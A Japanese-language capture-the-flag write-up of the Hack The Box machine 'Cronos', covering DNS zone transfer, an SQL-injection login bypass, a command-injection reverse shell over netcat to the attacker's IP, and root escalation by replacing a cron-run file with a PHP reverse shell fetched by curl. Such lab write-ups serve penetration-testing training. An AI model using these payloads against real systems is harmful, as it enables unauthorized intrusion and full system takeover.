Hack The Box Write-Up: Cronos

  

Enumeration: Portscan by Nmap

Nmapでターゲット「10.10.10.13」に対してポートスキャンを実施。
※Nmapについて詳しく知りたい方は、以下のリンクをご参照ください。

nmap -sC -sV -oA cronos 10.10.10.13

-sC: default script scan
-sV: service version detection against open ports 
-oA: Output in the three major formats at once
root@kali:~# nmap -sC -sV -oA cronos 10.10.10.13
Starting Nmap 7.70 ( https://nmap.org ) at 2020-04-23 22:56 EDT
Nmap scan report for 10.10.10.13
Host is up (0.24s latency).
Not shown: 997 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
|   256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_  256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open  domain  ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.10.3-P4-Ubuntu
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

以下のポートで各サービスが動作していることを確認。
22/tcp (SSH):
– Version: OpenSSH 7.2p2 Ubuntu 4ubuntu2.1
83/tcp (DNS):
– Version: 9.10.3-P4-Ubuntu
80/tcp (WEB):
– Version: Apache httpd 2.4.18

Enumeration: 80/tcp (WEB)

ブラウザで http://10.10.10.13にアクセスすると、Apache2のデフォルト画面が表示される。

http://10.10.10.13

ターゲット上でDNS(53/tcp)が動作しているので、nslookupを用いてDNSの照会先サーバに10.10.10.13を指定した上でターゲットが属するドメイン名「cronos.htb」の名前解決を行ってみる。問題なく正引き「cronos.htb > 10.10.10.13」されていることを確認。

nslookup cronos.htb 10.10.10.13
root@kali:~# nslookup cronos.htb 10.10.10.13
Server:		10.10.10.13
Address:	10.10.10.13#53

Name:	cronos.htb
Address: 10.10.10.13

ホストファイル「/etc/hosts」の3行目にターゲットのホスト名とIPの対応を記述する。

  1 127.0.0.1       localhost
  2 127.0.1.1       kali
  3 10.10.10.13     cronos.htb
  4 
  5 # The following lines are desirable for IPv6 capable hosts
  6 ::1     localhost ip6-localhost ip6-loopback
  7 ff02::1 ip6-allnodes
  8 ff02::2 ip6-allrouters

ブラウザからhttp://cronos.htbにアクセスした際ににホストファイルの変更箇所が参照かつ名前解決が行われ、以下の新しいページが表示される。

http://cronos.htb

次にドメイン「cronos.htb」に属するホストの一覧を洗い出すため、digコマンドでゾーン転送要求を行う。

dig axfr @10.10.10.13 cronos.htb

Usage:  dig [@global-server] [domain]

新たに「admin.cronos.htb」など複数のホストが見つかった。

root@kali:~# dig axfr @10.10.10.13 cronos.htb

; <<>> DiG 9.11.4-2-Debian <<>> axfr @10.10.10.13 cronos.htb
; (1 server found)
;; global options: +cmd
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
cronos.htb.		604800	IN	NS	ns1.cronos.htb.
cronos.htb.		604800	IN	A	10.10.10.13
admin.cronos.htb.	604800	IN	A	10.10.10.13
ns1.cronos.htb.		604800	IN	A	10.10.10.13
www.cronos.htb.		604800	IN	A	10.10.10.13
cronos.htb.		604800	IN	SOA	cronos.htb. admin.cronos.htb. 3 604800 86400 2419200 604800
;; Query time: 245 msec
;; SERVER: 10.10.10.13#53(10.10.10.13)
;; WHEN: Fri Apr 24 00:18:46 EDT 2020
;; XFR size: 7 records (messages 1, bytes 203)

先程と同様にホストファイル「/etc/hosts」の3行目にadmin.cronos.htbを追加する。

  1 127.0.0.1       localhost
  2 127.0.1.1       kali
  3 10.10.10.13     cronos.htb admin.cronos.htb
  4 
  5 # The following lines are desirable for IPv6 capable hosts
  6 ::1     localhost ip6-localhost ip6-loopback
  7 ff02::1 ip6-allnodes
  8 ff02::2 ip6-allrouters

ブラウザからadmin.cronos.htbにアクセスすると、今度はログインページが表示される。

http://admin.cronos.htb

当該ログインページに対するSQL inejctionの有効性を調査するためSqlmapでスキャンを行う。
※Sqlmapについて詳しく知りたい方は、以下のリンクをご参照ください。

Burp SuiteでログインページへのHTTP RequestをIneterceptしてその内容をコピーすることで、Sqlmapで必要なRequestファイル「login.req」を作成する。

Burpsuite

・loing.req

POST / HTTP/1.1
Host: admin.cronos.htb
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://admin.cronos.htb/
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
Cookie: PHPSESSID=29eihhrbh63qf4dumvv799uek0
Upgrade-Insecure-Requests: 1

username=admin&amp;password=admin

以下のコマンドを実行して、Sqlmapのスキャンを開始する。

sqlmap -r login.req

今回は何も見つからなかったが、Sqlmapを用いたSQL Injectionの影響有無に関する確認方法は簡単かつ便利なので覚えておくことをお勧めする。

oot@kali:~/Desktop/htb/cronos# sqlmap -r login.req 
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.2.7#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V          |_|   http://sqlmap.org

-----抜粋-----
[11:57:32] [CRITICAL] all tested parameters do not appear to be injectable. Try to increase values for '--level'/'--risk' options if you wish to perform more tests. If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could try to use option '--tamper' (e.g. '--tamper=space2comment')

今度は自動スキャンで手動でログインページのUserNameに「admin ‘ or ‘a’ = ‘a」を入力するとSQL Injectionが成功しログインが出来る。

http://admin.cronos.htb

ログイン後はtracerouteやpingが実行できるツールのページ「welcome.php」が下に表示される。

http://admin.cronos.htb/welcome.php

Reverse Shell via Command Injection

以下の通り、フィールドに「8.8.8,8;whoami」を入力するとwhoamiコマンドの実行結果「www-data」が表示される。このCommand Injectionの脆弱性を利用して、シェルの奪取を図る。

「which nc」の実行結果より、ターゲットにnetcatがインストールされていることを確認した上で、以下のサイトで紹介されているnetcatを使ったReverse Shellの取得用コマンドを利用する。

攻撃用端末にてNetcatよりターゲットからのReverse ShellをPort1234で待ち受ける。

nc -nlvp 1234

下記のReverse Shell取得用コマンドをフィールドに入力してCommand Injectionを成立させる。

8.8.8.8; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.5 1234 >/tmp/f

一般ユーザ「www-data」で動作するシェル奪取に成功。

root@kali:~/Desktop/htb/cronos# nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.13] 47630
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

操作性向上のため、以下のコマンドよりFully Interactive Shellに昇格させる。

$ python -c 'import pty;pty.spawn("/bin/bash");'

$ python -c ‘import pty;pty.spawn(“/bin/bash”);’
www-data@cronos:/var/www/admin$

Privilege Escalation (Linux) with crontab

ターゲットに存在する権限昇格の脆弱性を探すために、以下のサイトの「LinEnum.sh」を実行する。

www-data@cronos:/dev/shm/10.10.14.5$ bash LinEnum.sh
[-] Crontab contents:
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user	command
17 *	* * *	root    cd / &amp;&amp; run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / &amp;&amp; run-parts --report /etc/cron.monthly )
* * * * *	root	php /var/www/laravel/artisan schedule:run >> /dev/null 2>&amp;1

LinEnum.shの実行結果によると、crontabに毎分rootで実行されるタスクが「php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1」登録されている。そこで、phpファイル「/var/www/laravel/artisan」を同一のファイル名のまま以下の「php-reverse-shell」に置換することでrootで動作するReverse Shellを実行させる。

以下のように、php-reverse-shell.pyの宛先を攻撃端末のIP/Portに書き換える。

$ip = '10.10.14.5';  // CHANGE THIS
$port = 4444;       // CHANGE THIS

ターゲット上の/var/www/laravel配下にcurl経由でphp-reverse-shell.pyをartisanのファイル名でダウンロードし、chmodでスクリプトの実行権限を付与する。

www-data@cronos:/var/www/laravel$ curl http://10.10.14.5/php-reverse-shell.php -o artisan
<ravel$ curl http://10.10.14.5/php-reverse-shell.php -o artisan              
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  5492  100  5492    0     0  11334      0 --:--:-- --:--:-- --:--:-- 11347
www-data@cronos:/var/www/laravel$ chmod +x artisan
chmod +x artisan

攻撃用端末上でNetcatよりPort4444で待ち受けていると、crontabよりReverse Shellであるphpファイル「artisan」が実行され、root権限で動作するシェルを奪取出来る。

root@kali:/opt/reverse_shell# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.10.13] 44754
Linux cronos 4.4.0-72-generic #93-Ubuntu SMP Fri Mar 31 14:07:41 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux
 21:43:02 up  3:09,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=0(root) gid=0(root) groups=0(root)
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)

Link